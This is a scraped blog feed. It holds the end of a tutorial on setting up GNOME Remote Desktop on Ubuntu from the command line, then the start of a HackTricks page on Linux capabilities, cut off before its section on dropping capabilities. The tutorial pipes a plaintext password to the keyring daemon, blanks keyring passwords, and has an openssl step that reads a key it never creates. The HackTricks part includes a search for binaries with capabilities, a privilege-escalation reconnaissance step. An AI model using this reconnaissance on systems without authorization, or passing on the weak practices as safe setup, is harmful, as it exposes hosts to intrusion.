&lt;p&gt;You can configure Gnome Remote Desktop on the command line. However, you still need a running GNOME session. I found this method on Reddit and added some modifications. However, you can check the original post &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;Fedora&#x2F;comments&#x2F;o2v7ev&#x2F;enable_gnome_remote_desktop_via_the_clissh&#x2F;&quot;&gt;here&lt;&#x2F;a&gt; in case something changed. All commands in this section are meant to be executed via SSH.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-enable-autologin&quot;&gt;1. Enable Autologin&lt;&#x2F;h3&gt;
&lt;p&gt;If there are no active sessions, you can enable autologin in  &lt;strong&gt;&#x2F;etc&#x2F;gdm3&#x2F;custom.conf&lt;&#x2F;strong&gt;. Here you need to set true in&lt;strong&gt;AutomaticLoginEnable&lt;&#x2F;strong&gt; and then specify your user in the&lt;strong&gt;AutomaticLogin&lt;&#x2F;strong&gt; option. For example, if your user name is&lt;strong&gt;losst&lt;&#x2F;strong&gt; the configuration will look like this:&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;etc&#x2F;gdm3&#x2F;custom.conf&lt;code&gt;AutomaticLoginEnable = true AutomaticLogin = losst&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-unlock-session&quot;&gt;2. Unlock Session&lt;&#x2F;h3&gt;
&lt;p&gt;After this, you can reboot your remote server and then login using SSH again. You can list active sessions using the following command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl status --show-credentials&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;grdctl-status-sessions.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If the session is locked, you should unlook it. In the previous example, the session for the user with name losst is placed on TTY2 and has ID 1:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sudo loginctl unlock-session 1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check whether a session is locked or not using the following command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sudo loginctl show-session 1 | grep Locked&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;loginctl-show-session-status.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-unlock-gnome-keyring&quot;&gt;3. Unlock Gnome Keyring&lt;&#x2F;h3&gt;
&lt;p&gt;Gnome Remote Desktop stores passwords in Gnome Keyring. So you need to unlock it before running any remote desktop-related commands. First stop gnome-keryring-daemon running by systemd using the following command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;systemctl --user stop gnome-keyring-daemon&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Also you can stop all running processes of the keyring daemon using killall:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;killall -TERM -u &quot;$(whoami)&quot; gnome-keyring-daemon&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, run the following command, then enter your password and press &lt;strong&gt;Ctrl+D&lt;&#x2F;strong&gt;twice:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gnome-keyring-daemon --unlock&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Alternatively, you can pass the password using echo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;echo -n &quot;password&quot; | gnome-keyring-daemon --unlock&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After this you can ensure that login keyring is unlocked using busctl:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;busctl --timeout=10 --user get-property org.freedesktop.secrets &#x2F;org&#x2F;freedesktop&#x2F;secrets&#x2F;collection&#x2F;login org.freedesktop.Secret.Collection Locked&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gdm-password-auth-log-error.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The command should output false if the keyring is unlocked. If you make a typo in password, you will see an error messages in  &lt;strong&gt;&#x2F;var&#x2F;log&#x2F;auth.log&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 失焦模糊的系统日志截图，可辨认的关键报错：gdm-password 的 pam_unix 认证失败（tty=&#x2F;dev&#x2F;tty1 user=lost）、gkr-pam 提示登录钥匙串密码无效（the password for the login keyring was invalid）、gnome-keyring-daemon 报 failed to unlock login keyring on startup，反映钥匙串解锁失败类问题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;But, there is a tricky bug. The &lt;strong&gt;gnome-keyring-daemon&lt;&#x2F;strong&gt; command with &lt;strong&gt;--unlock&lt;&#x2F;strong&gt; option is intended to be used for autologin. When it got a wrong password it waits until keyring will be unlocked and then simply changes keyring password to the wrong one as it thinks to match login password. As result you will not be able to unlock your keyring with your old password. To fix this you can remove all keyring files in &lt;strong&gt;~&#x2F;.local&#x2F;share&#x2F;keyring&lt;&#x2F;strong&gt;, restart&lt;strong&gt;g-k-d&lt;&#x2F;strong&gt; or reboot your system and try again commands above. Then new keyring will be created and password that you specify will be used for that keyring. But these actions will remove all password stored in keyring.&lt;&#x2F;p&gt;
&lt;p&gt;Pay attention, that is is first only time unlocking. However, G-R-D needs keyring unlocked permanently, so after logging in graphical interface, set blank password for all password keyrings.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-create-freerdp-certificates&quot;&gt;3. Create FreeRDP Certificates&lt;&#x2F;h3&gt;
&lt;p&gt;Gnome Remote Desktop uses FreeRDP as a backend, which needs certificates to work correctly. Let&#x27;s create these certificates:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;mkdir certs &amp;amp;&amp;amp; cd certs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;openssl req -new -key rdp-tls.key -subj &quot;&#x2F;C=US&quot; | openssl x509 -req -days 730 -signkey rdp-tls.key -out rdp-tls.crt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;openssl-generate-rdp-tls-cert.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After this, move the certificates into  &lt;strong&gt;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;&lt;&#x2F;strong&gt;  which is located in your user home directory. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;mkdir -p &#x2F;home&#x2F;losst&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;``mv rdp-tls.key rdp-tls.crt &#x2F;home&#x2F;losst&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-configure-g-r-d&quot;&gt;4. Configure G-R-D&lt;&#x2F;h3&gt;
&lt;p&gt;At this moment, you are ready to configure Gnome Remote Desktop. First, check the service status:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl status&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;grdctl-status-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, add certificates:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-tls-cert &#x2F;home&#x2F;losst&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;rdp-tls.crt``grdctl rdp set-tls-key &#x2F;home&#x2F;losst&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;rdp-tls.key&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, set the username and password that will be used to login remotely:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-credentials losst password&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This command can freeze and do nothing. That could mean that gnome-keyring is not unlocked, and  the command should wait until the user enters a password in the GUI. In this case, you should go back to step 3 and unlock the gnome-keyring.&lt;&#x2F;p&gt;
&lt;p&gt;Then disable view-only mode, which is enabled by default:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp disable-view-only&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And finally, enable rdp:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp enable&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-enable-service&quot;&gt;5. Enable Service&lt;&#x2F;h3&gt;
&lt;p&gt;Now you know how to enable remote desktop Ubuntu on the command line. After this, you need to add g-r-d systemd service to autostart and make sure that it is running now:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;systemctl --user enable gnome-remote-desktop.service``systemctl --user start gnome-remote-desktop.service&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, you can check the state of the service:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;systemctl --user status gnome-remote-desktop.service&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 在 ~&#x2F;certs 目录执行 systemctl --user status gnome-remote-desktop.service 的输出：active (running)（自 2023-12-29 20:13 起），Main PID 88276，内存 16.0M，日志显示 Started GNOME Remote Desktop 和 RDP server started，表示配置证书后服务运行正常。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Also you can check RDP status and credentials using &lt;strong&gt;grdctl&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl status --show-credentials&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;grdctl-status-credentials.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, you can connect to your PC remotely to ensure that a remote desktop Ubuntu 22.04 works well. Additionally, don&#x27;t forget to install &quot;&lt;strong&gt;Allow Locked Remote Desktop&lt;&#x2F;strong&gt;&quot; extension from the extensions website in the GUI.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-connect-to-your-remote-desktop-in-linux&quot;&gt;How to Connect to your Remote Desktop in Linux&lt;&#x2F;h2&gt;
&lt;p&gt;When your remote desktop is configured, you can connect to it using any RDP client. For example, &lt;strong&gt;Reminna&lt;&#x2F;strong&gt; or&lt;strong&gt;Connections&lt;&#x2F;strong&gt;. If you want to use&lt;strong&gt;Connections&lt;&#x2F;strong&gt;, open the app and click on the&lt;strong&gt;Plus&lt;&#x2F;strong&gt; button:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gnome-connections-plus.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, enter the IP address of your remote PC, choose the RDP protocol, and click &lt;strong&gt;Connect&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;remote-desktop-connect-ip.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then enter the username and password specified earlier:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gnome-connections-rdp-session.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Here is how the remote desktop looks like:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] GNOME Connections（RDP 客户端）连接成功截图：窗口标题栏显示 rdp:&#x2F;&#x2F;192.168.124.59:3389，窗口内呈现远程 Ubuntu 桌面（GNOME 顶栏时间 20:44、左侧 Dock），证明 gnome-remote-desktop 服务可正常远程访问。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;When there are any connected users, you will see a notification in the top right corner of the panel:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gnome-remote-desktop-notification.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-access-remote-desktop-in-windows&quot;&gt;How to Access Remote Desktop in Windows&lt;&#x2F;h2&gt;
&lt;p&gt;Now, let&#x27;s look at how to connect to Ubuntu remote desktop from Windows. Use the search input on the left bottom corner to find &lt;strong&gt;Remote Desktop Connection&lt;&#x2F;strong&gt; app and open it:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;remote-desktop-connection-app.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Enter the IP address of your remote PC:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;rdp-enter-ip-address.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Enter login and password selected earlier:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;rdp-enter-login-password.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Accept RDP certificate from remote server:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;rdp-remote-ubuntu-gnome-desktop.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now you are connected to the remote PC:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 全屏远程桌面会话截图：顶栏显示已连接主机 192.168.124.59，画面为远程 Ubuntu GNOME 桌面（左侧 Dock 与默认壁纸），直观确认 RDP 远程连接可用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;how-to-reset-gnome-remote-desktop&quot;&gt;How to Reset Gnome Remote Desktop&lt;&#x2F;h2&gt;
&lt;p&gt;If something went wrong and you want to reset remote desktop settings and try again, disable RDP:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp disable&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Clear credentials:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-credentials &quot;&quot; &quot;&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then, remove RDP certificates:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gsettings set org.gnome.desktop.remote-desktop.rdp tls-cert &quot;&quot;``gsettings set org.gnome.desktop.remote-desktop.rdp tls-key &quot;&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;&#x2F;h2&gt;
&lt;p&gt;In this article, I have shown how to enable remote desktop in Ubuntu with Wayland using the Gnome Remote Desktop service. It works very well, and I hope that it will be improved and have the ability to start new user sessions soon.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;losst.pro&#x2F;en&#x2F;content-policy&quot;&gt;https:&#x2F;&#x2F;losst.pro&#x2F;en&#x2F;content-policy&lt;&#x2F;a&gt;
The article is distributed under Creative Commons ShareAlike 4.0 license. Link to the source is required                        .&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux Capabilities | HackTricks</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-capabilities-hacktricks/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-capabilities-hacktricks/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-capabilities-hacktricks/">&lt;h2 id=&quot;linux-capabilities&quot;&gt;Linux Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;Linux capabilities divide &lt;strong&gt;root privileges into smaller, distinct units&lt;&#x2F;strong&gt;, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-problem&quot;&gt;The Problem:&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Normal users have limited permissions, affecting tasks like opening a network socket which requires root access.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;capability-sets&quot;&gt;Capability Sets:&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inherited (CapInh)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;&#x2F;strong&gt;: Determines the capabilities passed down from the parent process.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Functionality&lt;&#x2F;strong&gt;: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Restrictions&lt;&#x2F;strong&gt;: A process cannot gain capabilities that its parent did not possess.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Effective (CapEff)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;&#x2F;strong&gt;: Represents the actual capabilities a process is utilizing at any moment.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Functionality&lt;&#x2F;strong&gt;: It&#x27;s the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file&#x27;s permitted capabilities are to be considered effective.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Significance&lt;&#x2F;strong&gt;: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Permitted (CapPrm)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;&#x2F;strong&gt;: Defines the maximum set of capabilities a process can possess.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Functionality&lt;&#x2F;strong&gt;: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Boundary&lt;&#x2F;strong&gt;: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn&#x27;t exceed its predefined privilege scope.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bounding (CapBnd)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;&#x2F;strong&gt;: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Functionality&lt;&#x2F;strong&gt;: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it&#x27;s also in the bounding set.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Use-case&lt;&#x2F;strong&gt;: This set is particularly useful for restricting a process&#x27;s privilege escalation potential, adding an extra layer of security.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ambient (CapAmb)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;&#x2F;strong&gt;: Allows certain capabilities to be maintained across an &lt;code&gt;execve&lt;&#x2F;code&gt; system call, which typically would result in a full reset of the process&#x27;s capabilities.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Functionality&lt;&#x2F;strong&gt;: Ensures that non-SUID programs that don&#x27;t have associated file capabilities can retain certain privileges.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Restrictions&lt;&#x2F;strong&gt;: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don&#x27;t exceed the process&#x27;s allowed privileges.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
    if process.has_capability(&amp;#x27;cap_setpcap&amp;#x27;):
        process.add_capability_to_set(&amp;#x27;CapPrm&amp;#x27;, &amp;#x27;new_capability&amp;#x27;)
    process.limit_capabilities(&amp;#x27;CapBnd&amp;#x27;)
    process.preserve_capabilities_across_execve(&amp;#x27;CapAmb&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For further information check:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.container-solutions.com&#x2F;linux-capabilities-why-they-exist-and-how-they-work&quot;&gt;https:&#x2F;&#x2F;blog.container-solutions.com&#x2F;linux-capabilities-why-they-exist-and-how-they-work&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ploetzli.ch&#x2F;2014&#x2F;understanding-linux-capabilities&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.ploetzli.ch&#x2F;2014&#x2F;understanding-linux-capabilities&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;processes-capabilities&quot;&gt;Processes Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;To see the capabilities for a particular process, use the &lt;strong&gt;status&lt;&#x2F;strong&gt; file in the &#x2F;proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities. Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.&lt;&#x2F;p&gt;
&lt;p&gt;You can find the capabilities defined in &#x2F;usr&#x2F;include&#x2F;linux&#x2F;capability.h&lt;&#x2F;p&gt;
&lt;p&gt;You can find the capabilities of the current process in &lt;code&gt;cat &#x2F;proc&#x2F;self&#x2F;status&lt;&#x2F;code&gt; or doing &lt;code&gt;capsh --print&lt;&#x2F;code&gt; and of other users in &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;status&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;#x2F;proc&amp;#x2F;1234&amp;#x2F;status | grep Cap
cat &amp;#x2F;proc&amp;#x2F;$$&amp;#x2F;status | grep Cap #This will print the capabilities of the current process
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This command should return 5 lines on most systems.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CapInh = Inherited capabilities&lt;&#x2F;li&gt;
&lt;li&gt;CapPrm = Permitted capabilities&lt;&#x2F;li&gt;
&lt;li&gt;CapEff = Effective capabilities&lt;&#x2F;li&gt;
&lt;li&gt;CapBnd = Bounding set&lt;&#x2F;li&gt;
&lt;li&gt;CapAmb = Ambient capabilities set&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lets check now the &lt;strong&gt;capabilities&lt;&#x2F;strong&gt; used by &lt;code&gt;ping&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;#x2F;proc&amp;#x2F;9491&amp;#x2F;status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Although that works, there is another and easier way. To see the capabilities of a running process, simply use the &lt;strong&gt;getpcaps&lt;&#x2F;strong&gt; tool followed by its process ID (PID). You can also provide a list of process IDs.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getpcaps 1234
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lets check here the capabilities of &lt;code&gt;tcpdump&lt;&#x2F;code&gt; after having giving the binary enough capabilities (&lt;code&gt;cap_net_admin&lt;&#x2F;code&gt; and &lt;code&gt;cap_net_raw&lt;&#x2F;code&gt;) to sniff the network (&lt;em&gt;tcpdump is running in process 9562&lt;&#x2F;em&gt;):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;tcpdump

$ getpcaps 9562
Capabilities for `9562&amp;#x27;: = cap_net_admin,cap_net_raw+ep

$ cat &amp;#x2F;proc&amp;#x2F;9562&amp;#x2F;status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary. The &lt;em&gt;getpcaps&lt;&#x2F;em&gt; tool uses the &lt;strong&gt;capget()&lt;&#x2F;strong&gt;  system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;binaries-capabilities&quot;&gt;Binaries Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;Binaries can have capabilities that can be used while executing. For example, it&#x27;s very common to find &lt;code&gt;ping&lt;&#x2F;code&gt; binary with &lt;code&gt;cap_net_raw&lt;&#x2F;code&gt; capability:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ping
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ping = cap_net_raw+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can &lt;strong&gt;search binaries with capabilities&lt;&#x2F;strong&gt; using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dropping-capabilities-with-capsh&quot;&gt;Dropping capabilities with capsh&lt;&#x2F;h3&gt;
